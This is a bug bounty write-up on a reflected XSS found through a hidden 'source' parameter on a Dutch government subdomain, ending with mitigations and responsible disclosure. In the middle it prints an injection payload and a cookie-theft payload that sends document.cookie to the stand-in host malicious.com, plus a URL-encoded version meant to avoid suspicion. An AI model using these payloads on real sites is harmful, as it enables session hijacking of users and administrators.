Reflected XSS via a hidden parameter on Dutch Gov. website

This summer I came across the Bug Bounty program of the Dutch Government, and I saw that as a reward it offers you a super cool t-shirt ! I have to redo my wardrobe, so why not give it a try ? 😉

Recon

During my recon phase, i came across an interesting sub-domain. Subdomain belonging to one of the main domains of the Dutch Government. This website is for display purposes only, we have no possibility to log in. He is written in PHP.

I browsed it with the help of a web proxy (Burp) to keep track of all the requests made. Many GET queries were performed, with different parameters at each time. I did not succeed in exploiting one of these parameters, and rather than get stuck, I decided to find hidden GET parameters on the application.

This can be done with different tools :

• Arjun
• param-miner (Burp Suite extension)
• parameth

In my case I used Arjun, but you can mix two of these three tools to increase your chances of finding a hidden parameter.

I always keep track of the dynamic URLs I discovered (contains : &,=…) and after some tests with Arjun :

[!] Scan Completed 
[+] Valid parameter found: source

With this new parameter, I was able to make some tests and quickly discovered that its value was reflected in the source code of the page inside a script tag.

Payload

My &source=TEST parameter being reflected directly in the source code of the page, without HTML encoding for this parameter, it wasn’t hard to trigger an XSS.

I just have to close the script tag, re-open a new one and inject my malicious JavaScript code into it. What gives as payload :

&source=TEST</script><script>alert('RXSS')</script>

XSS triggered !

With a Reflected XSS flaw, we could send our vulnerable URL to the administrator, who would trigger the attack by opening the link.

With a specially designed payload and a bit of social engineering, we could retrieve his session cookies and thus access the back-office = access to the administration page of the site.

For example, a payload that would look like this :

&source=TEST</script><script>document.write('<img src="https://malicious.com/?'+document.cookie+' "/>');</script>

With a little URL encoding so as not to arouse suspicion :

%26source%3DTEST%3C%2Fscript%3E%3Cscript%3Edocument.write%28%27%3Cimg%20src%3D%22http%3A%2F%2Fmalicious.com%2F%3F%27%2Bdocument.cookie%2B%27%20%20%22%2F%3E%27%29%3B%3C%2Fscript%3E

If the link is triggered, user session cookies will be sent on hacker server (here : malicious.com)

Preventive measures

Here are some solutions to be put in place to avoid this type of attack :

• Never trust user inputs, and sanitize them if there are (HTML encoding with entities). For example, <script> gets converted to &lt;script&gt:; and browser displays the entities but does not run them (< becomes &lt;, > becomes &gt;, «  becomes &quot; etc.)
• Delete unnecessary parameters. In my case, I hadn’t seen the application querying with &source until I found it myself.
• Add CSP and HttpOnly cookies flag to prevent cookies access from JavaScript

Conclusion

It wasn’t a very hard bug to find, but it’s always motivating to make the web a safer place.

The Dutch government security team, besides being nice, was super responsive and a few days later the vulnerability was fixed. And I got my t-shirt. 😉